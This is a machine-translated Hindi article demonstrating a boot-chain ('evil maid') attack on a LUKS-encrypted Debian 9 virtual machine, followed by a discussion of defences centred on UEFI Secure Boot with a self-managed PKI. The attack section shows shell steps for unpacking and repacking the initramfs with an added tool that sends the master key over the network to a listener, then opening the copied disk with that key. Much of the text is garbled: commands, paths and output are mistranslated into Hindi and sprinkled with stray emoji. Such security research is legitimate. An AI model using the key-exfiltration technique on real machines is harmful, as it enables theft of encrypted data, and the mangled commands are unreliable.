😃 👎🏿 🔫 एन्क्रिप्शन को हैक करना और उसकी सुरक्षा करना LUKS 👉🏽 📆 🌦️

डिस्क एन्क्रिप्शन को आपके कंप्यूटर पर डेटा को अनधिकृत भौतिक पहुंच से बचाने के लिए डिज़ाइन किया गया है। एक व्यापक गलत धारणा है कि डिस्क एन्क्रिप्शन वास्तव में इस कार्य के साथ मुकाबला करता है, और ऐसे परिदृश्य जिनमें यह बहुत अधिक विदेशी और अवास्तविक नहीं है। यह आलेख दिखाता है कि एन्क्रिप्टेड LUKS वॉल्यूम की मास्टर कुंजी को निकालना अभ्यास में आसानी से संभव है, और (एक लंबे समय पहले) संरक्षण विधि प्रस्तावित है।

समस्या का सार

हमें डिस्क एन्क्रिप्शन के उद्देश्य पर भी ध्यान देना चाहिए। दरअसल, जब भौतिक पहुंच असंभव है और रनिंग सिस्टम डेटा का मालिक है, तो कोई समस्या नहीं है। सिस्टम की सुरक्षा के साथ ही समस्याएं हो सकती हैं, लेकिन डिस्क एन्क्रिप्शन यहां मदद नहीं करेगा। डिस्क एन्क्रिप्शन को डेटा की रक्षा करनी चाहिए जब एक जिज्ञासु पार्टी के पास सिस्टम से गुजरने के बिना डिस्क तक पहुंचने का अवसर होता है, उदाहरण के लिए शारीरिक रूप से डिस्क को अपने सिस्टम से कनेक्ट करना या एक निरीक्षण कंप्यूटर पर अपने ओएस को लोड करना। एक भौतिक एक्सेस परिदृश्य एकमात्र परिदृश्य है जिसमें डिस्क एन्क्रिप्शन किसी भी मायने रखता है।

समस्या यह है कि हमलावर चुपचाप ओएस बूट श्रृंखला में हस्तक्षेप कर सकता है और सिस्टम को मजबूर कर सकता है कि जैसे ही यह अगली बार उन्हें शुरू होता है, एन्क्रिप्शन कुंजी जारी करें।

इस तरह के हमले के लिए कंप्यूटर तक पहुंच के केवल एक अधिनियम की आवश्यकता होती है: डिस्क से डेटा को बूट सर्किट के प्रतिस्थापन के साथ एक साथ कॉपी किया जा सकता है, और तब तक उनके द्वारा डिक्रिप्ट किया जाता है जब तक कि कुंजी दिखाई नहीं देती। अनएन्क्रिप्टेड डिस्क की तुलना में, केवल असुविधा यह है कि आपको यह ध्यान रखने की आवश्यकता है कि कुंजी कैसे प्रसारित होती है और इसके शुरू होने की प्रतीक्षा करें।

अगला, हम व्यवहार में इस तरह की तकनीक का प्रदर्शन करते हैं। यह पता चल सकता है कि इसके कार्यान्वयन के लिए हमलावर को डिस्क अनलॉक करने के अपने कुछ विदेशी तरीकों को स्थापित करने में खर्च किए गए सिस्टम के मालिक की तुलना में कम प्रयास की आवश्यकता होगी (उदाहरण के लिए, दूरस्थ रूप से)।

प्रैक्टिकल प्रदर्शन

मैं डेबियन 9 के साथ एक वर्चुअल मशीन के उदाहरण पर एक डेमो आयोजित करूंगा, जिस पर सिस्टम की स्थापना के दौरान डिस्क एन्क्रिप्शन सक्षम किया गया था।

एन्क्रिप्शन के साथ डेबियन 9 को स्थापित करना बूट विभाजन और एन्क्रिप्टेड LVM के साथ एक विभाजन बनाता है। इंस्टॉल किए गए सिस्टम का स्क्रीनशॉट जो स्पष्टता के लिए डिक्रिप्शन पासवर्ड मांगता है:

सब कुछ तैयार है, आप आगे बढ़ सकते हैं। कार को बंद करें, डिस्क को कॉपी करें। मेरे मामले में, यह इस तरह दिखता है:

 [root @ dt1 ~] # कुंवारी नष्ट debian9-boothack 
 Debian9-boothack डोमेन नष्ट हो गया है

 [रूट @ dt1 ~] # cp -v /var/lib/libvirt/images/debian9-boothack.qcow2 ~
 '/var/lib/libvirt/images/debian9-boothack.qcow2' -> '/root/debian9-boothack.qcow2'

मशीन के ड्राइव को माउंट करें, इनट्र्रामड्राइव निकालें:

 [रूट @ dt1 ~] # mkdir / अतिथि
 [रूट @ dt1 ~] # गेस्टमाउंट -ए /वर / लिब / कीर्तिविलास / डेजियन ९ -बूटा.कबस २.२ / एम / देव / sda1 / अतिथि
 [रूट @ dt1 ~] # cp -v /guest/initrd.img-4.9.0-9-amd64 ~ उपयोगकर्ता / tmp
 '/guest/initrd.img-4.9.0-9-amd64' -> '/home/user/tmp/initrd.img-4.9.0-9-amd64'

इनकिप्रामड्राइव अनपैक करें:

 [उपयोगकर्ता @ dt1 tmp] $ mkdir अनपैक किया गया
 [user @ dt1 tmp] $ cd अनपैक्ड /
 [user @ dt1 unpacked] $ zcat ../initrd.img-4.9.0-9-amd64 |  cpio -idm
 [user @ dt1 अनपैक] $ ls
 बिन विश्वास आदि init lib lib64 sbin स्क्रिप्ट चलाते हैं

हो गया, आप initramdrive को संपादित कर सकते हैं। यह जानते हुए कि मशीन में एक स्थायी नेटवर्क कनेक्शन है, मैं डिस्क खोलने के बाद मास्टर कुंजी के एन्क्रिप्टेड भेजने को व्यवस्थित करना चाहता हूं। ऐसा करने के लिए, मुझे आवश्यकता होगी:

नेटवर्क पर एन्क्रिप्टेड भेजने के लिए उपयोगिता । इसे /sbin जोड़ें
कुंजी निष्कर्षण और भेजने के लिए शेल स्क्रिप्ट । /scripts/local-top भेजा गया और cryptoroot बाद /scripts/local-top/ORDER cryptoroot में cryptoroot ।
अंतर्निहित देशी udhcpc ईवेंट प्रोसेसिंग स्क्रिप्ट को अंतर्निहित उपकरणों का उपयोग करते हुए सीधे नेटवर्क को सीधे रैमड्राइव में शुरू करने के लिए। इसका सही स्थान /etc/udhcpc/default.script

किसी भी पुस्तकालयों पर निर्भरता को समाप्त करने के लिए, secsend निष्पादन योग्य सांख्यिकीय रूप से बनाया गया है। सामान्य परिस्थितियों में, असेंबली आकार में 2.7 एमबी की आउटपुट फ़ाइल का उत्पादन करती है, जो कि रैमड्राइव के आकार की तुलना में काफी ध्यान देने योग्य है - 62 मेगाबाइट अनपैकड रूप में और 20 संकुचित में। हालाँकि, जब सभी पुस्तकालयों और कम से कम musl libc के साथ निष्पादन योग्य कोडांतरण, उत्पादन फ़ाइल का आकार ~ 250 KB और UPX संपीड़न के बाद 120 KB है। स्वयं सेसेंड केवल मानक इनपुट पढ़ता है, इसे निर्दिष्ट सार्वजनिक कुंजी Curve25519 का उपयोग करते हुए libsodium से क्रिप्टोबॉक्स के साथ एन्क्रिप्ट करता है और टीसीपी के माध्यम से निर्दिष्ट पते पर डेटा भेजता है। इसका उपयोग प्रदर्शन के मुख्य उद्देश्य के लिए अनिर्दिष्ट है, यह दर्शाता है कि हमलावर अनिवार्य रूप से असीमित है: आप कोड चला सकते हैं जो हमलावर को चाहता है और वह कैसे चाहता है।

इन तीन फ़ाइलों को जोड़ने और एक दूसरे को संपादित करने के बाद, आप सब कुछ वापस पैक कर सकते हैं और संशोधित फ़ाइल को उसके स्थान पर वापस कर सकते हैं:

 [उपयोगकर्ता @ dt1 अनपैक] $ खोज।  |  cpio -o -c |  gzip -9> ../initrd.img-4.9.0-9-amd64
 125736 ब्लॉक
 [user @ dt1 unpacked] $ sudo cp -v ../initrd.img-4.9.0-9-amd64 / अतिथि
 '../initrd.img-4.9.0-9-amd64' -> '/guest/initrd.img-4.9.0-9-amd64'
 [user @ dt1 unpacked] $ sudo guestunmount / अतिथि

यह एन्क्रिप्टेड मास्टर कुंजी प्राप्त करने के लिए कुछ सर्वर लेगा, जैसे कि यह (पायथन 3.5.3+)। कुंजी जोड़ी के गुप्त भाग के साथ इसे लॉन्च करके, हम तब तक इंतजार करते हैं जब तक कि सशर्त पीड़ित अपने कंप्यूटर पर नहीं आता:

जब आप एन्क्रिप्टेड डिस्क के साथ वर्चुअल मशीन चालू करते हैं, तो सब कुछ हमेशा की तरह दिखता है, कुछ भी नहीं बदला है:

लेकिन कनेक्शन श्रोता पक्ष पर, एक गुप्त मास्टर कुंजी दिखाई दी:

इस क्षण से, एन्क्रिप्शन पासवर्ड के ज्ञान के साथ डेटा और उसके उपयोगकर्ता के साथ वर्चुअल मशीन अब हमलावर के लिए कोई दिलचस्पी नहीं है। मैं इस बात पर जोर देता हूं कि पासफ़्रेज़ बदलने से मास्टर कुंजी नहीं बदलती है जिसके साथ संपूर्ण वॉल्यूम एन्क्रिप्ट किया गया है। यहां तक कि अगर पासफ़्रेज़ में बदलाव से कॉपी बनाने और चाबी भेजने के बीच किसी तरह बिगड़ गया, तो यह कोई बाधा नहीं है। वॉल्यूम को खोलने के लिए हम मास्टर कुंजी का उपयोग करेंगे। ऐसा करने के लिए, हम इसकी 16-दशमलव लॉग प्रविष्टि को एक बाइनरी फ़ाइल में बदलते हैं:

 [रूट @ dt1 ~] # गूंज 'fa0c53 *********** 4bd8c' |  xxd -r -p> master.key

एक प्रतिलिपि के साथ माउंट डिस्क:

 [रूट @ dt1 ~] # modprobe nbd max_part = 8
 [रूट @ dt1 ~] # qemu-nbd --connect = / dev / nbd0 /root/debian9-boothack.qcow2 
 [रूट @ dt1 ~] # ls / देव / nbd0 *
 / देव / nbd0 / dev / nbd0p1 / dev / nbd0p2 / dev / nbd0p5
 [रूट @ dt1 ~] # फ़ाइल -s / dev / nbd0p5
 / dev / nbd0p5: LUKS एन्क्रिप्टेड फ़ाइल, ver 1 [aes, xts-plain64, sha256] UUID: fb732477-ef98-40b5-86a2-8526cn9f031
 [root @ dt1 ~] # cryptsetup --master-key-file = master.key luksOpen / dev / nbd0p5 crackeddisk
 [रूट @ dt1 ~] # pvs
   PV VG Fmt Attr पीएसआई पीएफआरईआर
   / देव / मैपर / क्रैकडिसक डेबियन 9-बूटाक-वीजी lvm2 a-- 19.75g 0 
   / dev / sda3 dt1 lvm2 a-- <215.01g 8.00m
 [रूट @ dt1 ~] # एल.वी.
   LV VG Attr LSize पूल मूल डेटा% मेटा% हटो लॉग खांसी% सिंक कन्वर्ट
   रूट डेबियन 9-बूटाक-वीजी-एक ----- 18.75 जी                                                    
   swap_1 debian9-boothack-vg -wi-a ----- 1.00g                                                    
   रूट dt1 -wi-ao ---- 215.00g                                                    
 [रूट @ dt1 ~] # mkdir / hackedroot
 [रूट @ dt1 ~] # माउंट / देव / मैपर / डेबियन 9 - बूटाक - वीजी-रूट / हैकरोट /
 [रूट @ dt1 ~] # ls / हैकड्रोॉट /
 बिन बूट देव आदि घर initrd.img initrd.img.old lib lib64 lost + पाया मीडिया mnt ऑप्ट प्रोक रूट रन sbin srv sys tmp usr var vmlinuz vmlinuz.old
 [रूट @ dt1 ~] # बिल्ली / हैकड्रोॉट / आदि / होस्टनाम 
 debian9-boothack

डेटा पुनर्प्राप्त किया जाता है।

सुरक्षात्मक उपाय

जैसा कि आप निष्कर्ष निकाल सकते हैं, समस्या की जड़ अविश्वास कोड का प्रक्षेपण है। यहां उन तकनीकों का संक्षिप्त अवलोकन है जिन्हें इस मुद्दे के संदर्भ में माना जाना चाहिए।

बूट विभाजन एन्क्रिप्शन

कुछ वितरण स्थापना के दौरान भी यह सुविधा प्रदान करते हैं (उदाहरण के लिए, OpenSuSE)। इस स्थिति में, बूट विभाजन को बूटलोडर द्वारा डिक्रिप्ट किया जाता है, और फिर कर्नेल और इनट्रामड्राइव इसे से लोड किया जाता है। यह दृष्टिकोण निम्नलिखित कारणों से बहुत मायने नहीं रखता है:

कोड स्पूफिंग के साथ सबसे महत्वपूर्ण मुद्दा अभी भी खुला है। केवल अब बूटलोडर को बदलने की आवश्यकता होगी।
बूट विभाजन के लिए, डेटा अखंडता अधिक महत्वपूर्ण नहीं है, लेकिन डेटा अखंडता। LUKS बेसिक एन्क्रिप्शन ऐसी गारंटी नहीं देता है। यहां कुछ लाभ केवल इस तथ्य में निहित हैं कि इस तरह के एक एन्क्रिप्टेड विभाजन पर एक सार्थक प्रतिस्थापन का निर्माण करना मुश्किल है।
और अखंडता जांच (डीएम-अखंडता) के साथ एलयूकेएस 2 एन्क्रिप्शन भी हस्तक्षेप से रक्षा नहीं करता है, क्योंकि यह सेक्टर रीप्ले से संबंधित हमलों के खिलाफ गारंटी नहीं देता है। उदाहरण के लिए, इस तरह के विभाजन का एक डंप और उस पर एक बूटलोडर विन्यास, आप अभी भी ले सकते हैं और पहले से कॉपी किए गए राज्य को कर्नेल वापस ले सकते हैं। यह विशेष रूप से मुख्य निष्कर्षण के मुद्दे में लाभ नहीं देता है (सिवाय इसके कि पुराने कर्नेल कमजोर थे और इसे किसी तरह से इस्तेमाल किया जा सकता है), यह बूट विभाजन को एन्क्रिप्ट करने की बेकारता के पक्ष में एक तर्क है।

एन्क्रिप्शन कुंजी को स्टोर करने और सुरक्षित बूट वातावरण को मान्य करने के लिए टीपीएम का उपयोग करना

टीपीएम अनिवार्य रूप से एक क्रिप्टो प्रोसेसर है जो सिस्टम में एक सुरक्षित एन्क्लेव या स्मार्ट कार्ड के रूप में कार्य करता है। इसके साथ एन्क्रिप्ट किए गए गुप्त डेटा को केवल इसका उपयोग करके और केवल इसकी शर्तों पर डिक्रिप्ट किया जा सकता है - जब सिस्टम के पीसीआर मान अभिसरण होते हैं, जो प्लेटफ़ॉर्म की स्थिति और उसमें चलने वाले कोड पर निर्भर करते हैं। प्रौद्योगिकी काफी आशाजनक है और आपको कुंजी की आवश्यकता के बिना सिस्टम में सुरक्षित एन्क्रिप्शन लागू करने की अनुमति दे सकती है (उदाहरण के लिए, एन्क्रिप्शन से असंबंधित फिंगरप्रिंट या प्रमाणीकरण विधियों के साथ प्रवेश करके)। आदर्श रूप से, यह यूईएफआई सिक्योर बूट के साथ संयोजन में काम करना चाहिए, जब कॉन्फ़िगरेशन कॉन्फ़िगर नहीं होता है तो डिक्रिप्शन को प्रतिबंधित करता है।

हालांकि, लिनक्स में, टीपीएम समर्थन अभी भी अपनी प्रारंभिक अवस्था में है। TrustedGRUB2 बूटलोडर (TPM के साथ काम करने के लिए अनुकूलित एक बूटलोडर) UEFI का समर्थन नहीं करता है और विचार का पूरा बिंदु इससे गायब हो जाता है। इसके अलावा, एक कामकाजी टीपीएम 2.0 की उपस्थिति अब केवल हार्डवेयर में दिखाई देने लगी है, अक्सर BIOS अपडेट के साथ। अधिकांश मदरबोर्ड में असतत टीपीएम मॉड्यूल नहीं होता है, इसके बजाय, टीपीएम इंटेल एमई के अंदर लागू किया गया सॉफ्टवेयर है। इन सभी कारणों से, मैं अभी तक इस तरह के कॉन्फ़िगरेशन को काम करने और व्यापक उपयोग के लिए उपयुक्त नहीं मानता हूं।

एक इलेक्ट्रॉनिक हस्ताक्षर के साथ बूट श्रृंखला को पूरी तरह से कवर करने के लिए UEFI सिक्योर बूट का उपयोग करना

वितरण (फेडोरा, ओपनएसयूएसई) और एकल समाधान हैं जो आपको लिनक्स में सुरक्षित बूट का उपयोग करने की अनुमति देते हैं। हालांकि, बॉक्सिंग समाधान अक्सर लोड श्रृंखला में कोड अखंडता प्रदान नहीं करते हैं। वे मुख्य रूप से यह सुनिश्चित करने के लिए डिज़ाइन किए गए हैं कि लिनक्स सुरक्षित बूट सक्षम होने पर बस शुरू हो। आमतौर पर सिर्फ EFI शिम का उपयोग किया जाता है, जिसे Microsoft प्रमाणपत्र द्वारा हस्ताक्षरित किया जाता है, जो तब कुछ भी चलाता है। तदनुसार, बाहरी प्रमाणन का उपयोग करते समय, सीधे स्थापित सिस्टम में उत्पन्न होने वाली इन-डिस्क ड्राइव के हस्ताक्षर को कवर करना असंभव है।

हब पर लेख हैं जो कोड पर हस्ताक्षर करने के लिए अपने खुद के पीकेआई का उपयोग करने का सुझाव देते हैं। यह आपको अपनी जरूरत की हर चीज पर हस्ताक्षर करने की अनुमति देता है और इस तरह पूरी यूईएफआई श्रृंखला → बूटलोडर → कर्नेल और इंट्रामड्राइव को कवर करता है।

Taming UEFI SecureBoot - इस विषय पर हब पर पहला लेख, बहुत विस्तृत।
हम लिनक्स में पूरी तरह से सिक्योर बूट का उपयोग करते हैं - यह विशेष रूप से यहां लिखा गया है कि क्यों स्थापित माइक्रोसॉफ्ट सर्टिफिकेट के साथ सिक्योर बूट इसकी अनुपस्थिति के बराबर है।

आवश्यक परिणाम दूसरे लेख में प्राप्त किया गया है। लोडर का उपयोग किए बिना, एक ईएफआई एप्लिकेशन में रामड्राइव और कर्नेल को विलय करके एक इंट्रामड्राइव हस्ताक्षर प्राप्त किया जाता है, और यूईएफआई सीधे थोक में हस्ताक्षर को तुरंत सत्यापित करता है। दोनों मैनुअल को प्रत्येक संरक्षित प्रणाली पर बहुत सारे मैनुअल काम की आवश्यकता होती है।

सस्ती समाधान

मैं सुरक्षित बूट के पूर्ण कार्यान्वयन के लिए एक दृष्टिकोण के साथ आया था , आमतौर पर स्वीकृत बूट योजना के साथ संगत और सिस्टम में गंभीर हस्तक्षेप की आवश्यकता नहीं थी: एक अलग बूटलोडर, एक अलग रैमड्राइव, एक अलग कर्नेल। UEFI केवल GRUB2 बूटलोडर के हस्ताक्षर की पुष्टि करता है, बूटलोडर में हस्ताक्षर और व्यवस्थापक पासवर्ड को सत्यापित करने के लिए कुंजी के साथ एक वायर्ड कॉन्फ़िगरेशन होता है, और फिर कर्नेल और रैमड्राइव की जांच करता है। हस्ताक्षर किए गए बूटलोडर को पुराने के समानांतर स्थापित किया गया है और यदि आवश्यक हो, तो सुरक्षित बूट को अक्षम करके सामान्य तरीके से शुरू करना संभव है। बेशक, यह सुविधा UEFI सेटिंग्स मेनू में व्यवस्थापक पासवर्ड द्वारा बंद होनी चाहिए।

मैंने अपने खुद के PKI के साथ सुरक्षित बूट परिनियोजन प्रक्रिया को स्वचालित करने और इसे यथासंभव सरल और वितरण-स्वतंत्र बनाने का निर्णय लिया। परिणाम केवल मेकफाइल नुस्खा और उपयोगिताओं से ऐसा सेट है: https://github.com/Snawoot/linux-secureboot-kit । डेबियन, ubuntu, फेडोरा, और सेंटो के लिए, पूरी प्रक्रिया के लिए बस कुछ आदेशों की आवश्यकता होती है।

विशेष रूप से, डेबियन 9 के उदाहरण के साथ, इंस्टॉलेशन कुछ इस तरह दिखता है (यह मानते हुए कि यूईएफआई पहले से ही सेटअप मोड में है):

 apt update && apt install -y unzip make sbsigntool wget https://gist.github.com/Snawoot/1937d5bc76d7b0a29f2039aa679c0449/raw/74a63c99be07ec93cfc1df47d2e98e54920c97b7/efitools-1.9.2-static.tar.xz && \ tar xpJf efitools-1.9.2-static.tar.xz -C / wget https://github.com/Snawoot/linux-secureboot-kit/archive/master.zip unzip master.zip cd linux-secureboot-kit-master/ make debian9-install

यहाँ, सभी कमांड सुपरयुजर की ओर से दर्ज किए जाते हैं। नतीजतन, यह केवल यह सत्यापित करने के लिए रहता है कि सुरक्षित बूट BIOS मेनू में सक्षम है और व्यवस्थापक पासवर्ड के साथ BIOS सेटिंग्स की सुरक्षा करता है।

और यहाँ इस तरह के इंस्टॉलेशन पर रैमड्राइव को बदलने का प्रयास किया गया है:

बूटलोडर प्रतिस्थापन (उपस्थिति मंच पर निर्भर करता है):

परिणाम

डेटा गोपनीयता सुनिश्चित करने के लिए अकेले डिस्क एन्क्रिप्शन पर्याप्त नहीं है। यूईएफआई सिक्योर बूट और जीपीजी का उपयोग करके पूरी बूट श्रृंखला पर हस्ताक्षर करना आपको निष्पादन योग्य कोड स्पूफिंग के खिलाफ एक अच्छे स्तर की सुरक्षा प्राप्त करने की अनुमति देता है, बशर्ते कि कंप्यूटर ऑपरेटर सिस्टम बोर्ड के रीसेट या स्पूफ या पूरे कंप्यूटर को पहचानने में सक्षम हो। अन्यथा, पर्याप्त सुरक्षा विधियों की पेशकश करना बहुत मुश्किल है यदि उपयोगकर्ता पासवर्ड दर्ज करने के लिए तैयार है / किसी भी मशीन की कुंजी स्थानांतरित करता है जो गलती से मेज पर या सर्वर रूम में समाप्त हो जाता है।

एन्क्रिप्शन को हैक करना और उसकी सुरक्षा करना LUKS